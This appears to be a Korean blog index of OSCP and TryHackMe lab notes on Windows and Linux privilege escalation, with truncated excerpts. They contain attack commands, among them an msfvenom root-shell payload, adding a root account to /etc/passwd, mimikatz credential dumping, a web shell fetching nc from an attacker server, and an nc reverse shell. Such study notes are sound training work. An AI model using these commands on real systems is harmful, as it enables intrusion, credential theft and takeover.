OSCP/TryHackMe 20

Windows PrivEsc - Registry, Password, AutoRun, StartUp, GUI, token

[Task 7] Registry - AutoRuns 자동실행으로 등록된 레지스트리 확인한다. reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 자동실행으로 등록된 프로그램이 Everyone 권한에게 Writable 권한을 부여했는지 체크한다. C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe" 해당 프로그램을 악성파일로 덮어쓴다. 윈도우가 재시작되면 PWN된다. [Task 8] Registry - AlwaysInstallElevated 레지스트리 값 AlwaysInstallElevated이 1로 설정되면 취약 Query the registr..

OSCP/TryHackMe 2020.07.13

Windows PrivEsc - Service Exploits

Sercice Exploits은 Misconfiguration을 이용한 권한상승이기 때문에 해당 서비스들은 관리자 권한으로 실행되고 있어야한다. - accesschk 프로그램으로 확인 또는 winPEASwinPEAS, powerUP 등 스크립트로 Enumeration 진행. 실제 환경에서는 일반 유저로 nc를 사용하여 쉘을 연결하여 진행되기 때문에 해당 취약점을 악용할려고하면 다른 포트의 리버스 쉘을 또 생성하여 연결시켜야 한다. (관리자nc spawn) [Task 3] Service Exploits - Insecure Service Permissions 일반 유저가 서비스의 설정(프로그램 경로)를 수정할 수 있는 권한을 갖고 있을때, 오리지널에 대한 파일 경로를 악성프로그램으로 변경할 수 있는 취약점이..

OSCP/TryHackMe 2020.07.12

[Windows] ICE

ICE - 메타스플로잇의 입문서.. - 메타스플로잇을 사용안하고 풀려면 Balst 1.권한상승 2.프로세스 migrate - 실제로 내가 상주하는 프로세스는 NT Authority가 아님에도 불구하고 authority로 표시됨 - 아키텍쳐와 실행하는 사용자가 동일한 프로세스로 마이그레이트 시키자 - 가능하면 마이그레이트 실패시 재실행될 수 있는 프로세스를 선택하여 안정성을 높이자. - 여기서 만만한 것은 프로세스는 spoolsv.exe (프린터)이다. 3.유용한 post 모듈사용, hashdump,미미카츠 등... 미터프리터 모듈(Post Exploitation) 미미카츠 meterpreter > load kiwi - creds_all - golden_ticket_create Create a golden..

OSCP/TryHackMe 2020.07.11

[Linux] Linux PrivEsc

NFS Misconf를 이용한 로컬 권한 상승 타겟 설정 체크 cat /etc/exports 스쿼시 옵션이 disabled 되어있는지 확인 .... /tmp *(rw,sync,insecure,no_root_squash,nosubtree_check) ... *no_root_squash 옵션으로 인해 NFS를 통해 생성된 파일은 원격 사용자의 ID를 상속합니다. *사용자가 루트이고 루트스쿼싱이 활성화 된 경우 ID는 "nobody"사용자로 설정됩니다. 칼리셋팅 루트로 로그인 후 nfs연결 mkdir /tmp/nfs mount -o rw,vers=2 타겟아이피:/tmp /tmp/nfs 연결된 폴더에 bash 실행 페이로드 생성 msfvenom -p linux/x86/exec CMD="/bin/bash -p" ..

OSCP/TryHackMe 2020.07.07

[Windows] Windows PrivEsc Arena

Windows PrivEsc Arena tryhackme.com/room/windowsprivescarena - 원인에 대한 분석이나 구체적 설명이 없음... - 정말 실습용, 나중에 winPEAS 결과물 보고 참고하는 것이 좋을 듯 Registry Escalation - Autorun Registry Escalation - AlwaysInstallElevated Service Escalation - Registry Privilege Escalation - Startup Applications Service Escalation - DLL Hijacking Service Escalation - binPath Service Escalation - Unquoted Service Paths Potato Esca..

OSCP/TryHackMe 2020.06.14

[Linux] LFI basics - 로그 포이즈닝(LFI to RCE)

* LFI로 로그 파일을 읽을 수 있어야 로그 포이즈닝 가능 Log Poisoning is a common technique used to gain a reverse shell from a LFI vulnerability. To make it work an attacker attempts to inject malicious input to the server We will inject some malicious php code into the server's log. * Note: In order for that to happen, the directory should have read and execute permissions. The log file is located at the following ..

OSCP/TryHackMe 2020.06.09

[Linux] Common Linux Privesc

파일전송 TIP * wget 등 여의치 않은 경우 로컬에 존재하는 스크립트 내용을 마우스로 Copy&Paste하여 파일을 생성하면 됨 그외 vim에서 Copy&Paste 클립보드와 연동하는 방법 hyoje420.tistory.com/49 stackoverflow.com/questions/3961859/how-to-copy-to-clipboard-in-vim Exploiting Writeable /etc/passwd 1. /etc/passwd 2. GID가 0인 사용자 존재, 사용자가 passwd파일을 수정할 수 있음 3. 해당 사용자로 로그인 4. 해시 값 생성 openssl passwd -1 -salt [salt] [password] 5. 새로운 루트계정 새로 추가 new:$1$new$p7ptkEKU1..

OSCP/TryHackMe 2020.06.08

[Linux] Erit Securus I (Excellent walkthrough)

CMS epploit 후 서버 콘솔에 들어가서 php 심플 쉘 생성 echo ''>c.php Attacking machine(칼리)에서 현재 디렉토리에 nc 가져오기, python 웹 서버 실행 ln -s $(which nc) python3 -m http.server 8000 심플 웹 쉘로 nc다운로드하게 만들기 http://serverip/files/cmd.php?c=wget http://yourip:8000/nc http://serverip/files/cmd.php?c=chmod 755 nc 리버스 쉘 접속 (* 일부 리눅스에 설치된 nc는 위험하기 때문에 -e옵션이 제거 됨, 해당 옵션 안붙이면 무반응) 서버: nc -lnvp 1234 클라: nc -nv -e /bin/bash [ip] SQLlit..

OSCP/TryHackMe 2020.06.04